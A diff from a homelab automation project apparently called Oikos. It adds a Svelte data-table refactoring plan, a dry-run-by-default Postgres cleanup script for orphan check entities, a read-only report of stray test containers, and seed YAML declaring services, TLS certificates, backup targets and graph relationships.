3. **Build renderers:** `BadgeRenderer.svelte`, `HealthDotRenderer.svelte`, `RelativeTimeRenderer.svelte`, `DateRenderer.svelte`
|
||||
|
||||
4. **Build `EmptyState.svelte`**
|
||||
|
||||
5. **Unit tests** for `DataTable` column dispatch, sort, pagination, selection.
|
||||
|
||||
### Phase 2 — Simple Tables (no tree, no actions) (~1 PR)
|
||||
|
||||
6. **Migrate `Overview.svelte` (task board)**
|
||||
- Plain `<table>` → `DataTable` with `StatusBadge`, `RelativeTime`, filter pills external
|
||||
- Drop sticky-header CSS (`DataTable` handles it)
|
||||
- Verify: filter pills, status dots, responsive summary column, click-to-open
|
||||
|
||||
7. **Migrate `Signals.svelte`**
|
||||
- Replace `signalTable` snippet → `DataTable` with action-column renderer
|
||||
- Extract `FilterTabs.svelte` from the Tabs boilerplate
|
||||
- Verify: severity dropdown, tab counts, Ack/Mute/Resolve buttons
|
||||
|
||||
### Phase 3 — Action Tables (~1 PR)
|
||||
|
||||
8. **Migrate `Ops.svelte` — Pending Approvals**
|
||||
- Approve/Deny buttons as action column renderer
|
||||
- Risk badge via `StatusBadge kind="risk"`
|
||||
|
||||
9. **Migrate `Ops.svelte` — Decided Approvals**
|
||||
- Same columns, no actions
|
||||
|
||||
10. **Migrate `Ops.svelte` — Activity**
|
||||
- Cancel button, summary + error inline, duration via `RendererComponent`
|
||||
- Extract `FilterTabs` for Approvals vs Activity tabs
|
||||
|
||||
### Phase 4 — Tree Table (~1 PR)
|
||||
|
||||
11. **Migrate `EntityTable.svelte`**
|
||||
- Treegrid grouping is the hard part. Build a `TreeTable` variant or a `grouped` prop.
|
||||
- `childToParent` prop stays → recursive rendering while `DataTable` handles sort + selection.
|
||||
- **Alternative:** Ship `treegrid` as a separate `TreeDataTable.svelte` component if the
|
||||
recursive pattern is too divergent to fit into `DataTable`.
|
||||
|
||||
### Phase 5 — Cleanup & Standardization (~1 PR)
|
||||
|
||||
12. **Extract shared components everywhere:**
|
||||
- Audit every `.svelte` file for inline `riskVariant()` / `severityVariant()` / `fmtWhen()` — replace with `StatusBadge`, `RelativeTime`
|
||||
- Audit for inline `<Tabs.Root>` boilerplate — replace with `FilterTabs`
|
||||
- Audit for `<Badge variant={...}>` with inline logic — consolidate
|
||||
|
||||
13. **Remove deprecated shadcn-svelte table primitives** after confirming nothing else imports them.
|
||||
|
||||
14. **Delete duplicate utility functions** (`fmtWhen` in Ops, `relTime` in Knowledge, etc.)
|
||||
|
||||
### Phase 6 — Polish (~1 PR)
|
||||
|
||||
15. **Column visibility toggle** (optional)
|
||||
16. **CSV export** for entity tables (optional)
|
||||
17. **Responsive tables** — horizontal scroll with frozen left column for mobile
|
||||
|
||||
---
|
||||
|
||||
## 6. Risk Assessment
|
||||
|
||||
| Risk | Mitigation |
|
||||
|---|---|
|
||||
| `@vincjo/datatables` doesn't support treegrid grouping | EntityTable's recursive rendering stays independent; `DataTable` wraps flat tables only |
|
||||
| Svelte 5 runes + `TableHandler` reactivity mismatch | `TableHandler.rows` is a rune. Wrap in `$derived` or `$effect` to feed `data` prop → `table.setRows()` |
|
||||
| Over-engineering a simple table (3-row decided approvals shouldn't need pagination) | `DataTable` accepts `paginated` prop — default off. Small tables stay simple. |
|
||||
| Treegrid migration breaks KB browser | Phase 4 is isolated. Phases 1–3 deliver value before touching the critical KB table. |
|
||||
|
||||
---
|
||||
|
||||
## 7. Success Criteria
|
||||
|
||||
1. **Every `<Table.Root>`** in the app routes through `DataTable.svelte`
|
||||
2. **0** copies of inline `riskVariant()` / `severityVariant()` / `stateVariant()` — all through `StatusBadge`
|
||||
3. **0** copies of inline `fmtWhen()` / `relTime()` — all through `RelativeTime` or `utils.relativeTime`
|
||||
4. **0** copies of manual `<Table.Cell colspan={N}>No ...</Table.Cell>` — all through `EmptyState`
|
||||
5. **`web/src/lib/components/ui/table/`** retained for `DataTable` internals only (or removed if unused)
|
||||
6. **TypeScript compiles** with `--noEmit` and **tests pass** (`vitest run`)
|
||||
7. **All existing features preserved**: sort, tree expand/collapse, tab filters, severity dropdown, approve/deny/cancel/ack/resolve buttons, sticky headers, loading skeletons, health dots, empty states
|
||||
|
||||
---
|
||||
|
||||
## 8. File Manifest (what gets created / modified / deleted)
|
||||
|
||||
### Created
|
||||
```
|
||||
plan/tables.md ← this file
|
||||
web/src/lib/components/data-table/DataTable.svelte
|
||||
web/src/lib/components/data-table/DataTable.svelte.ts
|
||||
web/src/lib/components/data-table/columns.ts
|
||||
web/src/lib/components/data-table/columns.test.ts
|
||||
web/src/lib/components/data-table/renderers/BadgeRenderer.svelte
|
||||
web/src/lib/components/data-table/renderers/HealthDotRenderer.svelte
|
||||
web/src/lib/components/data-table/renderers/RelativeTimeRenderer.svelte
|
||||
web/src/lib/components/data-table/renderers/DateRenderer.svelte
|
||||
web/src/lib/components/data-table/pagination/Pagination.svelte
|
||||
web/src/lib/components/data-table/pagination/PageButton.svelte
|
||||
web/src/lib/components/data-table/pagination/RowsPerPage.svelte
|
||||
web/src/lib/components/data-table/sort-header.svelte
|
||||
web/src/lib/components/data-table/search-input.svelte
|
||||
web/src/lib/components/data-table/toolbar.svelte
|
||||
web/src/lib/components/StatusBadge.svelte
|
||||
web/src/lib/components/EmptyState.svelte
|
||||
web/src/lib/components/RelativeTime.svelte
|
||||
web/src/lib/components/FilterTabs.svelte
|
||||
web/src/lib/components/PageHeader.svelte
|
||||
```
|
||||
|
||||
### Modified (in migration order)
|
||||
```
|
||||
web/package.json ← add @vincjo/datatables
|
||||
web/src/pages/Overview.svelte ← Phase 2
|
||||
web/src/pages/Signals.svelte ← Phase 2
|
||||
web/src/pages/Ops.svelte ← Phase 3
|
||||
web/src/lib/components/EntityTable.svelte ← Phase 4
|
||||
web/src/pages/KnowledgeBase.svelte ← Phase 4 (consumer of EntityTable)
|
||||
web/src/pages/Knowledge.svelte ← Phase 5 (remove relTime)
|
||||
```
|
||||
|
||||
### Potentially Removed (Phase 5)
|
||||
```
|
||||
web/src/lib/components/ui/table/* ← if DataTable is the sole consumer
|
||||
(These stay if DataTable still uses them internally for rendering)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 9. Implementation Status
|
||||
|
||||
### Completed (2026-07-21)
|
||||
|
||||
| Phase | Task | Status |
|
||||
|---|---|---|
|
||||
| 1 | Install `@vincjo/datatables` | Done |
|
||||
| 1 | `DataTable.svelte` core component | Done |
|
||||
| 1 | Types (`DataTable.svelte.ts`, `columns.ts`) | Done |
|
||||
| 1 | Pagination (`Pagination`, `PageButton`, `RowsPerPage`) | Done |
|
||||
| 1 | Sort header, search input, toolbar | Done |
|
||||
| 1 | Built-in renderers: `BadgeRenderer`, `HealthDotRenderer`, `RelativeTimeRenderer`, `DateRenderer`, `RiskBadgeRenderer`, `ExecutionStatusRenderer`, `DurationRenderer`, `StatusDotRenderer` | Done |
|
||||
| 1 | `EmptyState.svelte` shared component | Done |
|
||||
| 2 | Migrate `Overview.svelte` to `DataTable` | Done |
|
||||
| 2 | Migrate `Signals.svelte` to `DataTable` | Done |
|
||||
| 3 | Migrate `Ops.svelte` (3 tables) to `DataTable` | Done |
|
||||
| 4 | Refactor `EntityTable.svelte` to use shared {SortHeader, EmptyState, HealthDotRenderer} | Done |
|
||||
| 5 | Create `StatusBadge.svelte` (consolidates risk/severity/execution-type variant maps) | Done |
|
||||
| 5 | Create `FilterTabs.svelte` component | Done |
|
||||
| 5 | Clean up `Knowledge.svelte`: replace inline `relTime()` → `relativeTime()`, `typeVariant()` → `StatusBadge` | Done |
|
||||
|
||||
### Key Decisions Made During Implementation
|
||||
|
||||
- **EntityTable treegrid NOT migrated to DataTable**. The recursive tree rendering is too
|
||||
divergent from flat, paginated data. Instead, EntityTable was refactored to use shared
|
||||
`SortHeader`, `EmptyState`, and `HealthDotRenderer` to eliminate inline duplication.
|
||||
- **`renderProps` added to `DataTableColumn`** to pass extra props (callbacks, state) to
|
||||
custom cell renderer components (used by `SignalActions`, `ApprovalActions`, `ActivityCancel`).
|
||||
- **`headerClass` added to `DataTableColumn`** for responsive column visibility on `th` + `td`.
|
||||
- **`bordered` prop on `DataTable`** for cases where parent wrappers provide the border.
|
||||
- **`StatusBadge`** uses a `kind` discriminator (`risk`, `severity`, `execution`, `type`, `default`)
|
||||
instead of separate components per domain.
|
||||
- **`FilterTabs`** created but not yet wired into Ops/Signals — those pages still use
|
||||
inline `<Tabs.Root>` for the approvals/activity and open/muted/resolved tabs.
|
||||
|
||||
### Remaining (Phase 6 — Future PR)
|
||||
|
||||
- Wire `FilterTabs` into Ops.svelte and Signals.svelte
|
||||
- Column visibility toggle
|
||||
- CSV export
|
||||
- Responsive table with frozen left column for mobile
|
||||
70
scripts/cleanup-orphan-checks.sh
Executable file
70
scripts/cleanup-orphan-checks.sh
Executable file
@@ -0,0 +1,70 @@
|
||||
#!/usr/bin/env bash
|
||||
# cleanup-orphan-checks.sh — remove orphan check entities + check_defs.
|
||||
#
|
||||
# These are leftovers from the old shortSlug() collision bug: check entities
|
||||
# with truncated 8-hex slugs (e.g. check:ssh-script:0d31fdd1) that have no
|
||||
# live target and are disabled. They pollute the entity table and the checks
|
||||
# view. The audit_knowledge_graph tool reports them as `orphan_checks`.
|
||||
#
|
||||
# Risk class: config_mutation (deletes rows). DRY-RUN by default; pass --apply
|
||||
# to actually delete. Review the listed slugs first — they must all match the
|
||||
# legacy random-slug pattern and be disabled.
|
||||
#
|
||||
# Usage:
|
||||
# cleanup-orphan-checks.sh # dry-run: list what would be deleted
|
||||
# cleanup-orphan-checks.sh --apply # delete check_defs rows, then entities
|
||||
#
|
||||
# Connects via the OIKOS_TEST... no — via the running postgres container by
|
||||
# default, or OIKOS_PSQL if set.
|
||||
set -euo pipefail
|
||||
|
||||
PSQL_CMD="${OIKOS_PSQL:-docker exec -i oikos-postgres-1 psql -U oikos -d oikos}"
|
||||
PATTERN='^check:(ping|ssh-script|disk):[0-9a-f]{8}$'
|
||||
|
||||
# Orphan = matches the legacy random-slug pattern AND has no enabled check_def
|
||||
# pointing at a real target. A random-slug check that IS enabled and has a live
|
||||
# target is a working check with a bad slug — keep it (deleting would drop
|
||||
# monitoring), and flag it for a slug fix instead.
|
||||
ORPHAN_PRED="e.type='check' AND e.slug ~ '$PATTERN'
|
||||
AND NOT EXISTS (SELECT 1 FROM check_defs cd
|
||||
WHERE cd.entity_id = e.id AND cd.enabled AND cd.target_id IS NOT NULL)"
|
||||
|
||||
echo "== orphan checks matching /$PATTERN/ (no enabled check_def w/ target) =="
|
||||
$PSQL_CMD -tAc "SELECT count(*) FROM entities e WHERE $ORPHAN_PRED;"
|
||||
|
||||
echo "== details (slug, state, enabled) =="
|
||||
$PSQL_CMD -F ' | ' -Ac "
|
||||
SELECT e.slug, COALESCE(e.state,'(null)'),
|
||||
COALESCE((SELECT cd.enabled::text FROM check_defs cd WHERE cd.entity_id=e.id LIMIT 1),'no-check_def')
|
||||
FROM entities e
|
||||
WHERE $ORPHAN_PRED
|
||||
ORDER BY e.slug;" | head -60
|
||||
|
||||
if [ "${1:-}" != "--apply" ]; then
|
||||
echo
|
||||
echo "DRY RUN — no rows deleted. Re-run with --apply to delete:"
|
||||
echo " check_defs whose check entity is an orphan, then those entities."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo
|
||||
echo "== applying (config_mutation) =="
|
||||
# check_defs first, then the dependent rows an entity owns (status, signals,
|
||||
# metrics), then the orphan check entities. FKs prevent a plain entity delete.
|
||||
$PSQL_CMD -v ON_ERROR_STOP=1 <<SQL
|
||||
BEGIN;
|
||||
DELETE FROM check_defs WHERE entity_id IN (SELECT id FROM entities e WHERE $ORPHAN_PRED);
|
||||
WITH ids AS (SELECT id FROM entities e WHERE $ORPHAN_PRED)
|
||||
DELETE FROM metric_samples WHERE entity_id IN (SELECT id FROM ids);
|
||||
WITH ids AS (SELECT id FROM entities e WHERE $ORPHAN_PRED)
|
||||
DELETE FROM signals WHERE entity_id IN (SELECT id FROM ids) OR target_entity_id IN (SELECT id FROM ids);
|
||||
WITH ids AS (SELECT id FROM entities e WHERE $ORPHAN_PRED)
|
||||
DELETE FROM entity_status WHERE entity_id IN (SELECT id FROM ids);
|
||||
WITH ids AS (SELECT id FROM entities e WHERE $ORPHAN_PRED)
|
||||
DELETE FROM relationships WHERE source_id IN (SELECT id FROM ids) OR target_id IN (SELECT id FROM ids);
|
||||
DELETE FROM entities e WHERE $ORPHAN_PRED;
|
||||
COMMIT;
|
||||
SQL
|
||||
|
||||
echo "== remaining orphans (should be 0) =="
|
||||
$PSQL_CMD -tAc "SELECT count(*) FROM entities e WHERE $ORPHAN_PRED;"
|
||||
31
scripts/report-stray-test-lxcs.sh
Executable file
31
scripts/report-stray-test-lxcs.sh
Executable file
@@ -0,0 +1,31 @@
|
||||
#!/usr/bin/env bash
|
||||
# report-stray-test-lxcs.sh — list leftover test/scratch LXC entities.
|
||||
#
|
||||
# Provisioning experiments leave active `lxc:test-*` / `lxc:preflight-*`
|
||||
# entities in the graph long after the containers are gone or repurposed.
|
||||
# They generate checks and pollute health/graph views. This reports them and
|
||||
# their DB state + which Proxmox host each is parented on, so the operator can
|
||||
# confirm the container is really gone and retire the entity via the
|
||||
# lifecycle-destroy-node runbook (a destructive, approval-gated action).
|
||||
#
|
||||
# Read-only. Pair with: lifecycle-destroy-node (mark destroyed) or
|
||||
# lifecycle-deprecate-node.
|
||||
set -euo pipefail
|
||||
|
||||
PSQL_CMD="${OIKOS_PSQL:-docker exec -i oikos-postgres-1 psql -U oikos -d oikos}"
|
||||
|
||||
echo "== stray test/scratch LXC entities =="
|
||||
$PSQL_CMD -F ' | ' -Ac "
|
||||
SELECT e.slug, COALESCE(e.state,'active') AS state,
|
||||
e.attributes->>'pve_id' AS pve_id,
|
||||
COALESCE(h.slug,'(no host)') AS host
|
||||
FROM entities e
|
||||
LEFT JOIN relationships r ON r.target_id = e.id AND r.type='hosts' AND r.valid_to IS NULL
|
||||
LEFT JOIN entities h ON h.id = r.source_id
|
||||
WHERE e.type='lxc' AND e.slug ~ '^lxc:(test|preflight)'
|
||||
ORDER BY e.slug;"
|
||||
|
||||
echo
|
||||
echo "Next: for each, confirm the container is gone in Proxmox (pct list on its"
|
||||
echo "host), then retire via lifecycle-destroy-node (destructive) or mark"
|
||||
echo "deprecated. If a container still exists, pct destroy it first."
|
||||
@@ -87,6 +87,10 @@ entities:
|
||||
mesh: {netbird: {ip: 100.122.165.149, fqdn: netbird-ionos.netbird.selfhosted}}
|
||||
ssh: {user: root}
|
||||
note: netbird mgmt+signal+relay+dashboard + coturn; sshd locked to hubris pubkey
|
||||
monitoring: none # host unreachable from the lab (no ICMP, port 22
|
||||
# times out even via hubris); liveness is covered
|
||||
# by its services — authentik/matrix http checks
|
||||
# and the matrix cert-expiry dial it on :443
|
||||
- slug: "ws:mac-mini"
|
||||
type: workstation
|
||||
name: mac-mini
|
||||
@@ -201,7 +205,17 @@ entities:
|
||||
- {slug: "volume:media-local", type: volume, name: media-local,
|
||||
attributes: {path: /mnt/media_local}}
|
||||
- {slug: "backup:proton-drive", type: backup-target, name: proton-drive,
|
||||
attributes: {provider: proton, encrypted: true}}
|
||||
attributes: {provider: proton, encrypted: true,
|
||||
path: /mnt/backup,
|
||||
note: "rclone stages here before pushing to Proton; freshness is checked on lxc:rclone via the backs-up-to edge"}}
|
||||
# The pre-deploy pg_dump written by scripts/deploy.sh on every push to main.
|
||||
# It was the lab's only untracked backup: its failure path is `|| echo
|
||||
# WARNING` inside the deploy script, so a broken dump was invisible until a
|
||||
# rollback needed it.
|
||||
- {slug: "backup:oikos-predeploy", type: backup-target, name: oikos-predeploy,
|
||||
attributes: {provider: local, encrypted: false,
|
||||
path: /opt/oikos/backups,
|
||||
note: "pre-deploy pg_dump on the mac-mini; one per deployed SHA"}}
|
||||
|
||||
# ─── Services ──────────────────────────────────────────────────────
|
||||
- {slug: "service:proxmox-ui", type: service, name: proxmox_ui,
|
||||
@@ -228,8 +242,8 @@ entities:
|
||||
doc_page: knowledge/wiki/containers/101-jellyfin.md,
|
||||
risk_notes: "native Authentik OIDC (no forward-auth gate); VAAPI depends on GPU passthrough on strong"}}
|
||||
- {slug: "service:nextcloud", type: service, name: nextcloud,
|
||||
attributes: {url: "https://cloud.hubris.network",
|
||||
doc_page: knowledge/wiki/containers/114-nextcloud.md}}
|
||||
attributes: {url: "https://cloud.hubris.network",
|
||||
doc_page: knowledge/wiki/containers/114-nextcloud.md}}
|
||||
- {slug: "service:paperless", type: service, name: paperless,
|
||||
attributes: {url: "https://paperless.hubris.network",
|
||||
doc_page: knowledge/wiki/containers/103-paperless.md,
|
||||
@@ -239,8 +253,8 @@ entities:
|
||||
doc_page: knowledge/wiki/containers/118-elementsynapse.md,
|
||||
risk_notes: "alert/approval channel for Oikos — outage silences agent escalation"}}
|
||||
- {slug: "service:photos", type: service, name: photos,
|
||||
attributes: {url: "https://photos.hubris.network",
|
||||
doc_page: knowledge/wiki/containers/120-mule-images.md}}
|
||||
attributes: {url: "https://photos.hubris.network",
|
||||
doc_page: knowledge/wiki/containers/120-mule-images.md}}
|
||||
- {slug: "service:arr-stack", type: service, name: arr_stack,
|
||||
attributes: {doc_page: knowledge/wiki/containers/122-arriman.md,
|
||||
note: "jellyseerr / qbit / sab on docker compose"}}
|
||||
@@ -255,11 +269,21 @@ entities:
|
||||
attributes: {url: "https://zimaos.hubris.network",
|
||||
doc_page: knowledge/wiki/vms/100-zimaos.md}}
|
||||
- {slug: "service:haos", type: service, name: haos,
|
||||
attributes: {doc_page: knowledge/wiki/vms/108-haos.md}}
|
||||
attributes: {doc_page: knowledge/wiki/vms/108-haos.md,
|
||||
monitoring: none}} # redundant: vm:haos covers liveness via vm-status; haos blocks SSH so a process check can't reach it
|
||||
- {slug: "service:teddycloud", type: service, name: teddycloud,
|
||||
attributes: {url: "https://teddy.hubris.network",
|
||||
doc_page: knowledge/wiki/containers/131-teddycloud.md,
|
||||
risk_notes: "no forward-auth gate — reachable by anyone on LAN/mesh"}}
|
||||
# The Go control plane itself: api/scheduler/notifier/web on the mac-mini,
|
||||
# and what mcp.hubris.network fronts since the cutover. It existed in the
|
||||
# database (created outside the seed) but was never declared here, so a
|
||||
# fresh seed could not resolve the routes-to edge below.
|
||||
- {slug: "service:oikos", type: service, name: oikos,
|
||||
attributes: {url: "https://oikos.hubris.network",
|
||||
host: "ws:mac-mini",
|
||||
ports: {api: 8090, web: 8091, nomos_gateway: 8092},
|
||||
note: "homelab automation platform — api/scheduler/notifier/web on mac-mini docker compose (project name oikos)"}}
|
||||
- {slug: "service:homelab-mcp", type: service, name: homelab_mcp,
|
||||
attributes: {port: 9810, systemd_unit: homelab-mcp,
|
||||
endpoint: "https://mcp.hubris.network/mcp",
|
||||
@@ -320,6 +344,32 @@ entities:
|
||||
- {slug: "ingress:sab.hubris.network", type: ingress-route, name: sab.hubris.network,
|
||||
attributes: {forward_auth: true}}
|
||||
|
||||
# ─── TLS certificates (Caddy-managed, *.hubris.network) ───────────
|
||||
# Each cert's expiry is probed by dialing Caddy's lab IP (`dial`) with SNI
|
||||
# set to the hostname — the scheduler container has no mesh/split-horizon
|
||||
# DNS, so it can't resolve *.hubris.network, but it CAN reach Caddy on the
|
||||
# lab LAN.
|
||||
- {slug: "cert:proxmox.hubris.network", type: certificate, name: proxmox.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
- {slug: "cert:git.hubris.network", type: certificate, name: git.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
- {slug: "cert:auth.hubris.network", type: certificate, name: auth.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
- {slug: "cert:media.hubris.network", type: certificate, name: media.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
- {slug: "cert:cloud.hubris.network", type: certificate, name: cloud.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
- {slug: "cert:paperless.hubris.network", type: certificate, name: paperless.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
- {slug: "cert:matrix.hubris.network", type: certificate, name: matrix.hubris.network}
|
||||
- {slug: "cert:photos.hubris.network", type: certificate, name: photos.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
- {slug: "cert:artifacto.hubris.network", type: certificate, name: artifacto.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
- {slug: "cert:trmnl.hubris.network", type: certificate, name: trmnl.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
- {slug: "cert:zimaos.hubris.network", type: certificate, name: zimaos.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
- {slug: "cert:teddy.hubris.network", type: certificate, name: teddy.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
- {slug: "cert:mcp.hubris.network", type: certificate, name: mcp.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
- {slug: "cert:house.hubris.network", type: certificate, name: house.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
- {slug: "cert:books.hubris.network", type: certificate, name: books.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
- {slug: "cert:seanime.hubris.network", type: certificate, name: seanime.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
- {slug: "cert:roms.hubris.network", type: certificate, name: roms.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
- {slug: "cert:jellyseerr.hubris.network", type: certificate, name: jellyseerr.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
- {slug: "cert:qbit.hubris.network", type: certificate, name: qbit.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
- {slug: "cert:sab.hubris.network", type: certificate, name: sab.hubris.network, attributes: {dial: "192.168.8.175"}}
|
||||
|
||||
# ─── Governance ────────────────────────────────────────────────────
|
||||
- {slug: "person:dtoro", type: person, name: dtoro,
|
||||
attributes: {matrix_id: "@dtoro:avispero"}}
|
||||
@@ -436,7 +486,59 @@ relationships:
|
||||
- {source: "ingress:trmnl.hubris.network", target: "service:trmnl", type: routes-to}
|
||||
- {source: "ingress:zimaos.hubris.network", target: "service:zimaos", type: routes-to}
|
||||
- {source: "ingress:teddy.hubris.network", target: "service:teddycloud", type: routes-to}
|
||||
- {source: "ingress:mcp.hubris.network", target: "service:homelab-mcp", type: routes-to}
|
||||
# Re-pointed from service:homelab-mcp, which is deprecated — the Python MCP
|
||||
# server on apps/105 was stopped at the Go cutover and mcp.hubris.network now
|
||||
# fronts the Go api. Nomos recorded this correctly on 2026-07-12; the seed
|
||||
# was the stale one, and re-asserting the old edge alongside it is what made
|
||||
# ingress:mcp a cardinality violation.
|
||||
- {source: "ws:mac-mini", target: "service:oikos", type: provides}
|
||||
- {source: "ingress:mcp.hubris.network", target: "service:oikos", type: routes-to}
|
||||
# Every public hostname is terminated by caddy. Without these the
|
||||
# reverse proxy — the single widest point of failure in the lab —
|
||||
# had a blast radius of one.
|
||||
- {source: "ingress:proxmox.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:git.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:auth.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:media.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:cloud.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:paperless.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:matrix.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:photos.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:artifacto.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:trmnl.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:zimaos.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:teddy.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:mcp.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:secrets.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:house.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:books.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:seanime.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:roms.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:jellyseerr.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:qbit.hubris.network", target: "service:caddy", type: served-by}
|
||||
- {source: "ingress:sab.hubris.network", target: "service:caddy", type: served-by}
|
||||
# Each public route is served with its TLS certificate.
|
||||
- {source: "ingress:proxmox.hubris.network", target: "cert:proxmox.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:git.hubris.network", target: "cert:git.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:auth.hubris.network", target: "cert:auth.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:media.hubris.network", target: "cert:media.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:cloud.hubris.network", target: "cert:cloud.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:paperless.hubris.network", target: "cert:paperless.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:matrix.hubris.network", target: "cert:matrix.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:photos.hubris.network", target: "cert:photos.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:artifacto.hubris.network", target: "cert:artifacto.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:trmnl.hubris.network", target: "cert:trmnl.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:zimaos.hubris.network", target: "cert:zimaos.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:teddy.hubris.network", target: "cert:teddy.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:mcp.hubris.network", target: "cert:mcp.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:house.hubris.network", target: "cert:house.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:books.hubris.network", target: "cert:books.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:seanime.hubris.network", target: "cert:seanime.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:roms.hubris.network", target: "cert:roms.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:jellyseerr.hubris.network", target: "cert:jellyseerr.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:qbit.hubris.network", target: "cert:qbit.hubris.network", type: uses-certificate}
|
||||
- {source: "ingress:sab.hubris.network", target: "cert:sab.hubris.network", type: uses-certificate}
|
||||
|
||||
- {source: "ingress:secrets.hubris.network", target: "service:secrets-issuance", type: routes-to}
|
||||
- {source: "ingress:house.hubris.network", target: "service:house", type: routes-to}
|
||||
- {source: "ingress:books.hubris.network", target: "service:grimmory", type: routes-to}
|
||||
@@ -536,6 +638,10 @@ relationships:
|
||||
- {source: "lxc:romm", target: "pool:ludo-lvm", type: stores-on}
|
||||
- {source: "lxc:teddycloud", target: "pool:local-lvm-hubris", type: stores-on}
|
||||
- {source: "lxc:rclone", target: "backup:proton-drive", type: backs-up-to}
|
||||
# The mac-mini writes the pre-deploy dumps, so it is also where the freshness
|
||||
# check runs — checkdefaults resolves a backup-target's host by walking this
|
||||
# edge backwards.
|
||||
- {source: "ws:mac-mini", target: "backup:oikos-predeploy", type: backs-up-to}
|
||||
|
||||
# ─── Governance ────────────────────────────────────────────────────
|
||||
- {source: "person:dtoro", target: "agent:nomos", type: owns}
|
||||
|
||||
@@ -6372,6 +6372,23 @@ investigations:
|
||||
tags:
|
||||
- investigation
|
||||
runbooks:
|
||||
- slug: knowledge-graph-audit
|
||||
name: Knowledge-graph audit
|
||||
risk_class: read_only
|
||||
entity_type: entity
|
||||
procedure: {}
|
||||
content: "---\nname: knowledge-graph-audit\nrisk_class: read_only\ninputs: []\nverification:\
|
||||
\ \"audit_knowledge_graph returns a report with summary.total_findings\"\ndocs_update_checklist:\
|
||||
\ []\n---\n\n# Knowledge-graph audit\n\nRead-only validation that the knowledge graph\
|
||||
\ and its monitoring reflect reality.\nCall MCP `audit_knowledge_graph` (or `GET /api/v1/audit/drift`)\
|
||||
\ for a ranked report:\norphan check entities, checks on deprecated/destroyed targets,\
|
||||
\ probes stuck down/unknown, unmonitored declared types, and dangling edges. Each\
|
||||
\ finding carries a `suggested_runbook`. Triage critical (down_checks) first; confirm\
|
||||
\ each with `get_entity`/`get_relations` before acting. This skill makes no changes\
|
||||
\ \u2014 route confirmed findings to their remediation runbook and re-run the audit\
|
||||
\ to verify. Live-infra discovery (pct/docker/certs vs DB, misplaced parents, undeployed\
|
||||
\ scripts, unmodeled certs, seed drift via `oikos export`) is a documented manual\
|
||||
\ follow-up until that machinery lands.\n"
|
||||
- slug: client-enrollment
|
||||
name: Client enrollment
|
||||
risk_class: read_only
|
||||
|
||||
@@ -176,6 +176,7 @@ entity_types:
|
||||
layer: infrastructure
|
||||
lifecycle: infrastructure
|
||||
description: Physical location (home, VPS datacenter).
|
||||
monitoring: none # topological — health is its members'
|
||||
attributes: {type: object, properties: {address: {type: string}}}
|
||||
ups:
|
||||
parent: entity
|
||||
@@ -183,6 +184,7 @@ entity_types:
|
||||
layer: infrastructure
|
||||
lifecycle: infrastructure
|
||||
description: Uninterruptible power supply.
|
||||
monitoring: none # warranted, but no SNMP/NUT checker exists yet
|
||||
attributes: {type: object, properties: {vendor: {type: string}, va: {type: integer}}}
|
||||
sensor:
|
||||
parent: entity
|
||||
@@ -190,12 +192,14 @@ entity_types:
|
||||
layer: infrastructure
|
||||
lifecycle: infrastructure
|
||||
description: Environmental sensor.
|
||||
monitoring: none # readings are metrics, not health
|
||||
peripheral:
|
||||
parent: entity
|
||||
domain: physical
|
||||
layer: infrastructure
|
||||
